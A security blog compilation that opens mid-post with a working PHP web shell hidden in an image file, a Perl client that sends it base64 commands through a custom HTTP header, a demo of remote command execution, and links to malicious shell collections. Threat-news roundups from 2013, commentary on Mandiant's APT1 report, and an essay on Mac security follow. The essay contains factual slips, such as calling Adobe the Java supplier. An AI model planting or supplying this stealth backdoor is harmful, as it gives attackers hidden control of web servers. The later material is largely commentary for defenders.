22 # SHELL <?php ob_clean(); $e = str_replace('y','e','yxyc');$e(base64_decode(substr($_SERVER['HTTP_X_ETAG'],2))." 2>&1", $o); header("X-ETAG: AA".base64_encode(implode("\r\n ", $o))); print str_repeat("A", 9326); ob_flush();exit(); ?> 
Sample Perl Code: 
01 #!/usr/bin/perl 
02 # Interface for the mod_php htaccess stealth shell 
03 # Written by Wireghoul - http://www.justanotherhacker.com 
04 
05 use warnings; 
06 use strict; 
07 use MIME::Base64; 
08 use LWP::UserAgent; 
09 
10 &usage unless $ARGV[0]; 
11 my $url = $ARGV[0]; 
12 pop(@ARGV); #keep readline happy 
13 my $ua = LWP::UserAgent->new; 
14 $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16'); 
15 
16 sub usage { 
17 print "Usage: $0 url\nExample: $0 http://vuln.com/upload/favicon.ico\n"; 
18 exit 2; 
19 } 
20 
21 my $cmd = ''; 
22 print "Connecting to shell at $url - type 'exit' to exit"; 
23 until ($cmd eq 'exit') { 
24 print "\nshell> "; 
25 $cmd = readline; 
26 chomp $cmd; 
27 my $payload = 'AA'.encode_base64($cmd); 
28 my $response = $ua->get( $url, 'X-ETAG' => $payload); 
29 if ($response->header('X-ETAG')) { 
30 print decode_base64(substr($response->header('X-ETAG'),2)); 
31 } else { 
32 print "Error! No payload in response!\n"; 
33 } 
34 } 
Demo: 
01 # GET http://localhost/favicon.ico | head -1 
02 ________________________________________ 
03 h6 ?@@(F( 
05 Connecting to shell at http://localhost/favicon.ico - type 'exit' to exit 
06 shell> uname -a 
07 Linux bt 2.6.39.4 #1 SMP Thu Aug 18 13:38:02 NZST 2011 i686 GNU/Linux 
08 shell> id 
09 uid=33(www-data) gid=33(www-data) groups=33(www-data) 
10 shell> exit 
11 # tail -3 /var/log/apache2/access.log 
12 127.0.0.1 - - [31/Jan/2012:14:07:59 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 
13 127.0.0.1 - - [31/Jan/2012:14:08:01 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 
14 127.0.0.1 - - [31/Jan/2012:14:08:03 +1100] "GET /favicon.ico HTTP/1.1" 200 9326 "-""Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.16) Gecko/20110319 Firefox/3.6.16" 

References 

Malicious Shells: 
hxxp://files.xakep.biz/shells/CGI/WebShell.cgi.txt 
hxxp://files.xakep.biz/shells/PHP/c99php.txt 
hxxp://files.xakep.biz/shells/CGI/go-shell.cgi.txt 
hxxp://files.xakep.biz/shells/PHP/Ajax_PHP%20Command%20Shell.php.txt 
hxxp://files.xakep.biz/shells/PHP/webshell.php.txt 

hxxp://files.xakep.biz/shells/JSP/JspWebshell%201.2.jsp.txt 

Wednesday, March 20, 2013

Weekly Threat Trends March 11-18 2013



Vulnerabilities, Tools, and Tactics

Android app developer licenses being sold in malware black market for $100 each, providing buyers “unfettered access to the official Google Play app store.” At least one purchase, accredited to a banking Trojan author has been leaked. http://t.co/o7nAiecghy

Malware authors using fictitious business created legally in Brazil to generate application certificates, using them to sign malware to evade detection. http://t.co/U1gBpwXI5a

According to a report by Websense, 85% of websites used in attacks during 2012 were “legitimate sites.”

Related: Israeli website for “international institute for counter-terrorism used in wateringhole attack to deliver malware. http://bit.ly/X4TZ1p

Seagate blog website used to serve malware http://bit.ly/ZsiEii

Fake Bank of America Online Digital Certificate themed emails used in phishing attack. http://bit.ly/WkYSGc

Travnet Trojan implicated in APT campaign http://bit.ly/10WKoei

Blackhole, Sweet Orange, and Cool exploit kits named top weapons for cyber crooks http://bit.ly/10WJRyi

ArchiveLock Trojan used in France and Spain targeted attacks to encrypt the files of users, demanding $5,000 ransom http://bit.ly/100CZ07

Adversary Activity & Campaigns

Decoy ICS/SCADA Water Utility Networks hit by attacks http://ubm.io/ZOplV1

Warning of vulnerabilities among California energy providers http://bit.ly/XiuzNK

US Department of State and Pentagon’s Army National Guard websites hacked through SQL injection and XSS scripting attacks by Tunisian Cyber Army with assistance from Al Qaida Electronic Army. Purpose appears to be to gain information for upcoming OpBlackSummer, which the attackers claim us being coordinated with Chinese hackers. http://t.co/Axd3ylFYQc

APT1 Watch: Royal Bank of Australia (RBA), documents released in 2012 acknowledge victim status of at least two breaches in 2011 with close connections to APT1. http://t.co/YtN2Z0KI6k

ADP Package Delivery Notification phishing attack directs victims to Blackhole Exploit Kit websites http://bit.ly/ZOqnFZZ

Cyber Attack heads-up: campaign announced to “wipe Israel from the Internet on April 7, 2013.

Bank watch: JP Morgan Chase website taken down through denial-of-service http://cnet.co/ZM57UH

US NIST National Vulnerability Database hacked and taken offline for days http://bit.ly/16umBld

Continued in reports of hacktivism

42 Russian websites hacked by SiR Abdou  http://t.co/5K2OzhXvd4

Celebrity financial information and social security numbers leaked following hack of free credit report provider http://bit.ly/15KAbpl

OpBlackSummer: US Govnerment sites hacked http://bit.ly/Z1DmWJ - Possible preparation for larger event

Toshiba Turkey Website defaced by reMin hacker http://bit.ly/Z1DiWZ

Anonymous takes down political party website in Italy http://bit.ly/Z1E2vw

Indian Hacker “Godzilla” infiltrates Pakistan government websites and leaks information http://bit.ly/YkHykr

Service Center Website of Acer Thailand defaced by Turkish hacker http://bit.ly/YtNynP

Anonymous attacks Philippines President and related government websites http://bit.ly/YtNNzu

Poland Sergianist hackers destroy popular Traditionalist website http://bit.ly/Zsiojc

Syrian Cyber Eagles defaces Saudi General Authority for Tourism and Antiquities website http://bit.ly/Zkfmyi

Anonymous defaces Philippines National Telecommunications Commission website http://bit.ly/Z97Wuu

152 Spanish websites hacked in protest against the deaths of 7 Moroccan immigrants http://bit.ly/107uw1z    

Defense and Response News

Pentagon creating new teams to launch cyberattacks http://wapo.st/Y9GNbC

UK develops global cyber security capacity, supported by the ICSPA http://bit.ly/;Z1DVQo

HBGary releases virtual classroom for incident response professional http://bit.ly/Zsibwp

Cyber-attacks eclipse terrorism in impact according to US leaders http://bit.ly/15SWHwx


Friday, March 15, 2013

Weekly Threat Trends March 3-11 2013


Vulnerabilities, Tools, and Tactics


Rogue Apache modules appear to be the source of a surge in iFrame injection attacks targeting legitimate websites like those used in the NBC.com compromise, to drive traffic to the Blackhole exploit kit. How the rogue modules are being injected is still unknown: http://t.co/29C1kXMLmA

Malicious Java applet uses certificate stolen from Clearesult Consulting to exploit trust and install automatically: http://www.net-security.org/secworld.php?id=14557

A report released from Cenzic claims 99% of web applications remain vulnerable to attacks, calling for increased emphasis on mitigation: http://www.net-security.org/secworld.php?id=14556

Free malicious Java applet generating tool discovered in the wild. The tool can clone a legitimate website, creates a malicious java applet, then redirect victims to a site of the attackers choice: http://t.co/4oDZsDdAL5

Web browser proxy auto-configuration tactic used in recent banking campaigns in Brazil to capture and redirect certain user traffic, expected to increase in use globally. http://t.co/V1s2TB2lCL

Example of Android mobile malware commoditization found in an ad for the tool “perkele lite,” used to intercept and forward SMS messages. http://t.co/10o3vJmrXj

Adversary Activity & Campaigns


Bank DDoS attacks resume: Izz ad-Din al-Qassam, believed to be directly supported by the Iranian government, announced and began execution of a new phase of attacks targeting US banks. http://t.co/E1UVVqamX0 , http://t.co/3oGt2BKE6A

Emerging phishing campaigns, exploiting payroll and banking trustADP TotalSource Payroll Invoice: http://t.co/5n8QilMqqM Bank of America: http://t.co/YlRBbncKJS

Targeted attack against Australia’s central bank, Reserve Bank of Australia (RBA) succeeded in compromising at least one system. Target of the attack was information which included Group of 20 negotiations. China is implicated. http://t.co/iHxZwwwp0W

Kaspersky discovers AlbaBotnet being used to target Chilean banks in an emerging campaign. http://www.securitybistro.com/blog/?p=5524

APT-1: Industry reporting attribution of past campaigns to APT-1, including US, Japan, and India victims, thanks to indicators from Mandiant’s report. One example: http://threatpost.com/en_us/blogs/apt1-themed-spear-phishing-campaign-linked-china-030613 , http://t.co/iQ4DrbJkn0 ,



Surge in reports of hacktivism

Czech central bank, stock exchange, banks hacked: http://t.co/WCA5c3yodYNullcrew defaces Time Warner Cable: http://t.co/yPJ4aK2e1TArabian Gulf Oil Company (Agoco) by QuisterTow: http://t.co/bDCrpnRKQBSaudi Aramco Twitter account hacked: http://t.co/RmQxB532aa54 Israeli sites hacked and defaced: http://t.co/YySGtJhf0GOver 180 Egypt sites hacked by P@khTuN: http://t.co/SJkUTcjq3u


Defense and Response News


China, in response to Mandiant and related APT-1 claims, begins a response campaign claiming they are the victim of repeated US sourced intrusions, calls for new international agreements on cyber: http://t.co/HO1NvvvZ6l , http://t.co/YmGGkZI2QW

Deutsche Telekom unveils real-time map of global cyber-attacks detected on their global infrastructure: http://t.co/We0TJJ6YOk

Microsoft launches new Cybercrime Center to combat piracy and malware: http://t.co/wllk2eJ0cw

New cyber security, forensics center formed by UMASS to advance research on cyber security and forensics theory: http://www.uml.edu/News/stories/2013/Cyber-forensics-center.aspx

Prolexic successfully defends against large scale DDoS against utility: http://t.co/yg6iU0Sx7g

Monday, March 4, 2013

Weekly Open Source Threat Report - 2/26/2013 - 3/3/2013


Vulnerabilities, Tools, and Tactics

MiniDuke malware discovered by Kaspersky and CrySys, has infected government computers from numerous nations. The malware was delivered through PDFs containing exploits written for Adobe Reader versions 9, 10, and 11. Researchers have not revealed the nature or mission of the malware yet. http://www.esecurityplanet.com/network-security/kaspersky-crysys-warn-of-miniduke-malware.html

Multiple Java 0-Days released last week with ties to Bit9 hack from the previous week. Articles from FireEye reference the malware as McRAT. http://www.infoworld.com/d/security/researchers-link-latest-java-zero-day-exploit-bit9-hack-213798


Adversary Activity & Campaigns

Chinese attackers from Mandiant’s APT1 targeted 23 US energy infrastructure companies during a 2011-2012 campaign, exfiltrating data which would allow them to access and control oil and natural gas industrial-control systems. http://www.ibtimes.co.uk/articles/441095/20130301/energy-infrastructure-targeted-chinese-hackers.htm.

Anonymous gained access to and published email communications between a contractor and Bank of America security staff exposing a monitoring program intended to keep tabs on the hacktivist group. The “hack” wasn’t a breach of BofA systems as Anonymous reported the server they obtained the emails from was open to external access and controlled by the security researcher.

Evernote hacked, data on 50 million users exposed including usernames and passwords. Change your password now!

Crescent healthcare confirms breach of patient records and social security numbers. Breach occurred on December 28, 2012, however Crescent will not release information on how it happened. http://www.esecurityplanet.com/network-security/crescent-healthcare-acknowledges-security-breach.html

Sabah land dispute conflict transitions from physical to cyber as forces from Malaysia and the Philippines target each other’s government websites. http://www.zdnet.com/ph/hackers-take-sabah-conflict-to-cyberspace-7000012061/

Team Cymru uncovers a state-controlled cyber campaign leaking 1 Terabyte of data every day from US based systems to foreign countries. Report is currently private, details to follow. http://www.theverge.com/2013/2/27/4035378/new-report-finds-hackers-stealing-terabyte-daily

Defense and Response News

Offensive security group CrowdStrike takes over and shuts down the Kelihos botnet with 110,000 infected nodes. CrowdStrike used a DNS injection attack to redirect the command and control channels used by infected systems, notified all the victims, and shut down the botnet in an offensive campaign. http://www.scmagazine.com/new-version-of-kelihos-botnet-with-110k-nodes-cut-down/article/234036/

Increased calls from public for improved collaboration between government, private, and public cyber security organizations to defend against adversaries like Mandiant’s APT1.

IDF defines Cyber Warfare as the 5th realm of warfare and established Cyber Command, bridging forces from the Intelligence and Teleprocessing branches. http://www.haaretz.com/news/diplomacy-defense/idf-forms-new-force-to-combat-cyber-warfare.premium-1.506979?block=true

Australia joins the Council of Europe Convention on Cybercrime following the passing of the Cybercrime Legislation Amendment Bill 2011. Among other empowerments, the legislation requires ISPs to store data on persons deemed under suspicion by law-enforcement. http://www.zdnet.com/australia-joins-convention-on-cybercrime-treaty-7000012071/

Friday, February 22, 2013

Mandiant APT1 Report Response


Outlining the geopolitical significance of this week's exposure of APT1

An emerging report...more to come

Introduction

On February 19, Mandiant released a detailed report on the Advanced Persistent Threat group they termed APT1. This is the same group referred to among security researchers and defense contractors as the Comment Gang, or Comment Group, or WebC2. Their names were derived from their common tactic of using html comment tags embedded within websites to distribute command and control functions to victim systems. The report outlines the activities, targets, tools, techniques, and procedures used by the group since at least 2004. Besides TTPs, Mandiant included evidence defining the true identity of the group as China’s Military Defense Unit 61398 as well as physical operating locations and some of the personas used by the group. In addition to the main report exposing the group, Mandiant released a series of related documents containing indicators which can be used to defend against and detect the adversary’s current infrastructure.

In summary, the report exposes a systematic program under the direct control of China’s government leadership and operated by the People’s Liberation Army (PLA) targeting the economic sectors of the United States and allies in order to steal the intellectual property required to sustain economic growth within China. This is an attack on our economy.

The report itself is largely non-technical allowing any reader the ability to grasp the significance of what is being presented.

http://intelreport.mandiant.com/

Significance

The greatest significance can be found in this report’s overarching message to China: we see you and we’re doing something about it. A second major impact of this report is the fact that it shatters the notion that nation-state espionage is isolated to government targets and their supply chain including defense contractors. The APT1 report definitively maps PLA operations and strategic government initiatives to economic espionage and property theft. The adversary is no longer a vague term referring to an unknown group somewhere in the world. We’re talking about the government of China. We’re talking about disrupting their economy by stopping their Cyber espionage and theft. This may well represent the catalyst for major geopolitical change.

The immediate value of this report is that it will likely disrupt the adversary’s operational capability for some time as corporations bolster defenses by implementing immediate controls. The infrastructure put in place by the PLA is not easily dismantled. Their missions and targets were conceived by the political party as essential to sustaining their government, and likely required extensive efforts to implement operations as they stand today. They will be forced to shut down operations, or continue while migrating quietly. Not only were the adversary’s specific behavioral indicators exposed, but this report shows the extent of US counter-espionage capabilities in the commercial, UNCLASSIFIED sphere. If there was any notion by the adversary that they were functioning in stealth, that notion should be well dissolved by now.

This report describes the ultimate cyber war; siphoning out the tools that allow a great society to sustain, through years of silent espionage, theft, and re-use. Hence the ripple effect this report will likely trigger will grow as it expands. As US organizations implement mitigations, if done well, doing so will result in significant economic downturn for China.

Readers of the Mandiant report will note the mission orders of this group are derived from the PLA regarding those markets and industries critical to China’s growth as defined in their “Five Year Plan.” Thus Cyber operations are essential to continuing the sustainability of their government. For whatever reasons, they are unable to grow organically and have decided at the strategic political level that they must reach out and steal to survive. If they cannot grow, they cannot sustain. If they cannot sustain, their government will collapse. Cyber espionage is an instrument of sustainment for China’s government. US companies are the targets. Without this program, they will not survive and this report blows their cover.

This report also forces response from the highest levels of our society. While bloggers, pundits, researchers, and media have long broadcast the government of China as the original and most prolific APT, definitive responses from those enabled to effect change have yet to materialize. The name-and-shame pundits have been restricted and ignored, often for political reasons or due to the lack of elicit evidence tracing a group to a government. I have also heard executives make claims like “we don’t want to offend because we don’t want to risk losing business,” while politicians fear angering a major trade partner. Those near-sighted excuses will result in self-destruction in the long-term. China is paying for or supporting our businesses now, but as they are doing that, they are siphoning off intellectual property so they can replicate technology, goods, and services internally so that they become the world’s greatest provider. The damage to our own economy should China realize their mission, is incalculable. Their actions place the sustainability of our society at risk. If China can produce goods and services at the same quality as US providers at cheaper costs to the consumer, then free-market principles will result in economic collapse.

I believe this history of a lack of effective response is due to the relatively vague connections drawn between active cyber campaigns and the PLA in the past. This discussion has largely remained quarantined in the vaults of information classification. While everyone has been saying this publically, no one has been proving it. This report demands action and eliminates the excuses used to evade this topic in the past, namely those who cite unconfirmed reports as their shelter.

Never before have I seen evidence like this linking China’s People’s Liberation Army (PLA) to this group, or any international espionage in a public discussion. Private intelligence sharing groups have long kept these details hidden, and public disclosure essentially counters the principles behind keeping the data protected; namely that now that the adversary has been so publically exposed, they will likely hide. However this reasoning misses the greater impact full disclosure can have. The security world is clearly divided about this action by Mandiant, but again, those fears are near-sighted.

If you expose your adversary, you can effectively counter their capabilities and mitigate the threat they represent.

Thursday, January 31, 2013

The Mac Security Myth

You know that feeling you get when someone declares something so boldly which you know is absolutely wrong? It's that moment when you interpret what they said which triggers an internal struggle of trying to decide if you should correct them or not. With kids it's easy; your correct them. With adults, it's harder because there's that whole pride and sensitivities thing involved. In that moment a feeling begins which sort of blends sympathy, "oh man they have no idea what they are talking about," with the driving need to show your knowledge. You brain calls for instruction on how to respond; smile or correct. I was recently on the recipient end of this when I pronounced a medical condition of mine to a friend who is a doctor. He's decided that smiling at people when they are wrong doesn't help them, and so he proceeded to correct my terminology. 

And so in honor of standing up for what is true, Mac users, I have bad news.

The cringe moment I wrote of before for me is triggered when I hear people say something like, "I don't have to worry about cyber threats because I use a Mac and Macs are secure." As someone who has been practicing cyber defense and threat analysis for over a decade, I can't help but cry a little inside when I hear that. Another common one I hear comes when someone who uses a Microsoft Windows based system complains to their Apple yielding friend about an infection. Their Apple buddy retorts with something like, "You should switch to a Mac so you can't get infected. There aren't any viruses for Macs."

<insert cringe/pucker face here>

While this misconception is perpetuated among uninformed Apple fans, Apple themselves have done an incredible injustice to their consumers by stoking these false assumptions through their marketing campaigns and suppression of talking about this in public. I recall a commercial that ran for a while within the "I'm a Mac, and I'm a PC" series where the PC becomes infected and the Mac says something like "I don't have to worry about that." Sorry, that's wrong. Let me burst your bubble with some hard facts:

Apple Malware Exists in Spades

Security research firm and services provider, SOPHOS, revealed in their report, "Security Threats in 2013," that they detected on average 4,900 Mac based malware infections per month last year. Ironically, the majority of these are types of fake anti-virus software. So people who don't think they need to secure their Mac because there are no viruses are being duped into installing fake AV. In 2012 the Flashback malware which uniquely targeted Macs gained public notoriety and is expected to have infected more than 700,000 Macs worldwide. With numbers like that, one can hardly make a claim so called viruses are only a PC problem. Perhaps it's a matter of defining what the word "is" is as former president Bill Clinton became notorious for saying.

4,900 Mac malware detection per month in 2012 by one security firm alone!!

http://www.sophos.com/en-us/security-news-trends/reports/security-threat-report.aspx?utm_source=STR2013&utm_medium=Cross-link&utm_campaign=STR2013-CL-PollDaddy

Coincidentally, this week Apple released an update to their iOS (version 6.1) which fixed 27 significant vulnerabilities in their mobile operating system, 20 of which can be leveraged by an attacker to execute code remotely on your Apple device. Considering the fact that iOS 6.0 was released in September 2012 means your precious Apple has been sitting their vulnerable for over three months. Has anyone been taking advantage of these vulnerabilities on your device? If you believe there's no security problem, then you probably don't have detection and prevention software like AntiVirus or AntiMalware installed, and so you simply don't know if you are a victim or not. Ignorance is bliss right?

Ever heard of jail-breaking your iPhone? That is malware at it's finest. Yes, it's a root level exploit which takes control of the entire system and changes core functions (including security mechanisms), allowing users to run and integrate features otherwise prevented. That's hacking.

Apple is Slow to Patch Vulnerabilities

More bad news. The weakness exploited by the Flashback malware were reported 9 months before massive outbreaks became public knowledge. Microsoft released patches in mid-February 2012, while massive outbreaks spread among Mac users through March, and Apple finally released an update in late April. That is horrendous.

One of the fixes released this week by Apple addresses a vulnerability announced in 2011 while another removes fraudulent Google certificates issued in December by TURKTRUST root certificate authority. Certificates are used by your browser to validate it has connected to the correct servers when you browse the Internet. This prevents someone from putting up a fake Google.com website (or any other website) without your browser knowing it and warning or stopping you. However, if someone can send your browser a fake certificate through a root certificate authority like TURTRUST, one that matches their fake website, then when you browse on over to the fake site (say Google.com to check your Gmail or Google Plus or any other Google service), you'll be hitting that fake site and entering your data trusting the information is safe in the hands of who it should be. Iran used this tactic in 2012 to identify all political dissidents in the country who were using Gmail to communicate with outsiders via the Internet. In the case of the TURKTRUST mishap, Google issued a warning the same day and Microsoft issued fixes that week. Apple took over a month!

http://www.darkreading.com/vulnerability-management/167901026/security/vulnerabilities/240147216/ios-6-1-fixes-27-vulnerabilities.html

This shows a significant risk imposed on Apple users by their slow-to-patch response. Even still, because Apple has perpetuated this myth that they are inherently secure, users may not even worry about installing updates and patches, leaving them exposed for even longer periods of time.

Ok, so I've hopefully broken two false assumptions so far; yes, there is Mac malware, and yes your Mac does have security weaknesses. You might be asking yourself, but is it more secure than Windows? That's not an easy question to answer but I'll try.

False Sense of Security

Apple has long benefited from what we in industry call security through obscurity. That means they are secure because they are insignificant. They are insignificant (in number of users) and so they aren't targeted. It's like saying in a group of 50 people, you are safe because there's plenty of other targets around you. It has nothing to do with your actual state of personal security. There is some truth to that. While the modern adversary can be quite sophisticated, they are also in many ways like us. They need strong return on investment and focus on the path of least resistance. Their target surface has some common attributes. The mass majority of computers in the world run a Microsoft operating system.  If an adversary can create one new form of malware that affects 99% of their target victims, then that's where they are going to focus their effort. Even better, if they can find a flaw in an application used by both platforms (say JAVA), then they cover everyone. Still, they focus on Windows because the majority of computers out there are Windows based. This approach to security works as long as you remain background noise. The moment you become and object of interest, it's game over. Creating Mac targeting malware is also an insignificant task. I've heard some people claim that it's easy for hackers to create Windows malware because Windows is so full of "holes" but Mac malware is hard to create. That's simply nonsense. More and more we in the researcher community are seeing simultaneous releases of new malware that affects multiple platforms; Windows and OS X.

The tide is already changing. Apple's popularity thanks to their cool looks and "i" line of products (iMac, iPhone, iPods, and iPads), is drawing more users away from Microsoft, thus reducing the shadow they've hidden behind for all these years. They are becoming a larger target for the adversary. SOPHOS reports that among companies surveyed, 52% plan on issuing more Macs to employees in 2013. The move away from Apple's proprietary hardware into the Intel common hardware market also means virtualizing Intel based software no longer requires trading performance for style. Now you can get both. Now you can run Windows on your Mac without much performance difference. This means the Mac is becoming more popular, and actually viable for most users including the enterprise. The most sophisticated malware out there starts in the government and enterprise world, then moves public. As enterprises adopt Apple, the adversary will change their attention and will develop new capabilities unique to that platform, which will make their way to the public very quickly. This isn't a prediction, it's happening.

This trend is proving itself as multiple reports showed significant increases in unique Mac malware released  in 2012. As the pendulum swings, so is the adversaries attention. Fortunately for iOS users, the Android open app development environment is still too tempting to part from so I think the adversary will stay there for a while. But, that's not the case for OS X.

Without repeating too much of what I wrote in a previous article, the primary flaw in cybersecurity is you. Adversaries know this and so they use tactics which exploit you, or mostly your inherent trust in the Internet and your own computing device. Their primary paths of entry into your computer are your email inbox and your web browser. Again, as I previously documented in a past article, Safari (Apple's web browser) has significant security gaps just as IE does. Also, as mentioned before, the primary method of exploiting a computer via the browser is to use a vulnerability in a 3rd party application like JAVA. Since both Windows and OS X use a 3rd party provider (Adobe) to supply them JAVA, they are both vulnerable to weaknesses in JAVA.

Yes, OS X does include some features to prevent administrative functions from automatically executing (this was their primary claim to security for a long time), but so does Windows as of version 7. Because most malware requires the ability to make system level changes to persist, this prevention mechanism can be effective (when the malware doesn't evade it by using an application which already has hooks into administrative level tasks). It used to be that Windows users were by default system administrators, making it easier for malware to establish a foothold. Windows 7 changed this and added the security feature of monitoring all running processes and warning you whenever one attempts a administrative function. Apple was also early to incorporate network access controls of their platforms, but Microsoft's inclusion of the Windows firewall as met this capability as well. They are competitors after all.

Since the primary threat vectors are the same, and the target is the same (you), and the primary defense is the same, what then is left? Patching and application control. It's about ensuring your system and applications are not vulnerable, and monitoring those applications for abuse or malicious behavior. Those two areas are strengths of Microsoft, and significant weaknesses of Apple. Again, because Windows is so widely used, the number of available applications far exceeds those available for OS X. This means by nature, there are more possible points of vulnerabilities to control. Security through obscurity.

You can't exploit what isn't vulnerable and patches fix vulnerabilities. I hear people moan and groan all the time about the weekly patches from Microsoft. The IT world lovingly refers to this weekly event as "Patch Tuesday." However, if a critical flaw is discovered in Windows or an associated application, at least we know we only have to worry until Tuesday. Apple is notoriously slow at releasing security updates, sometimes taking several months. They have no defined or regular patch cycle. Updates are released as Apple get's around to it. Microsoft was forced into this rapid pace of releasing updates through user pressure. No such pressure exists for Apple, because a) use is still really low and b) they perpetuate the idea that Macs are inherently safe. Being a minority in a market means you are shielded by the majority. It's that simple. Microsoft takes the brunt because they are the biggest and have more users.

Then there's application control which is mostly administered through AntiVirus or AntiMalware products in the public market. Windows users are well accustomed to needing and using AV, and the AV market is well mature in terms of effective products. If you believe you don't have a malware problem, then you probably aren't running any sort of AntiMalware software on your Mac. This means you have no way to stop malware from running or knowing if it exists except through the native Apple permissions control feature. This feature warns you and prompts for an administrator password when system changes are being made (or an application is attempting to). If you are relying on this, then you are assuming the malware hasn't bypassed that mechanism and that you know everytime you enter your password, exactly what that application is doing in the background. You have no idea if that file you opened contains malware...all you know is you needed to enter your password to open it.

Secret Society

Apple is very secretive and closed. As a fond user of the Apple TV and iPad, I'm often frustrated by their policies which control content and apps so strictly. For example, I can't stream my Amazon cloud content through my Apple TV because Apple won't let Amazon develop an app without promising a certain level of revenue sharing. Same goes for the Amazon Kindle app; you can no longer buy books directly through the app. They are also very quiet on releasing new products and product updates. They develop in secret and closely control what is allowed on their products. I thought Microsoft was sued over this a few years ago...oh yeah, they were. This secretive approach permeates everything they do...including security.

Maintaining their image of a secure platform is mission critical for Apple.

However, they are noticeably absent in the world of threat information exchanges and cybersecurity conferences. In 2012 I attended the annual Blackhat conference in Las Vegas where security researchers (good guys and bad guys) come together to present new ideas and findings. Microsoft was there in a big way, talking about security and reaching out to the researcher community to promote an open dialog. Apple was absent. This is a common scene at every security conference I've been to over the past 12 years. Wherever cybersecurity is being discussed, Microsoft is there, Apple is a no show. They simply don't talk about security in the public. This makes them even more prone to weaknesses and exploitation. In the world of intelligence sharing, there is a balance between divulging information which can aid or expose the adversary, with divulging information to aid the defenders. Apple doesn't participate in this exchange very well. As adversaries use their tools, once exposed the game's up. Everyone defends. With Apple, they suppress notifications which means the adversary (like in the case of Flashback) has a long time to wreak havoc on their targets. Once Apple is forced into the public light (as with Flashback), they suddenly respond.

This lack of visibility also means no accountability. If Microsoft knows about a vulnerability, and the public knows, then all users (government, commercial  and consumer) put on the pressure. If no one knows about an Apple flaw, then there's no pressure. If Apple is made aware, but the public isn't, then there is no accountability. Works well for them, no so well for us.

Conclusions

For these reasons (slow patching, false claims of security, real threats, and detachment), I believe Apple products are less secure than their Microsoft counterparts. More specifically, I believe Apple users are at greater risk than are Microsoft users.

The key is of course practicing smart Internet use. Don't panic, and switch back. Don't dump that investment. But do get yourself a quality AntiVirus or AntiMalware solution for that Mac, check for updates regularly, and be careful with web browsing and email.

Just please, for the love of Pete, don't go buy a Mac simply because you think it's more secure. You won't be.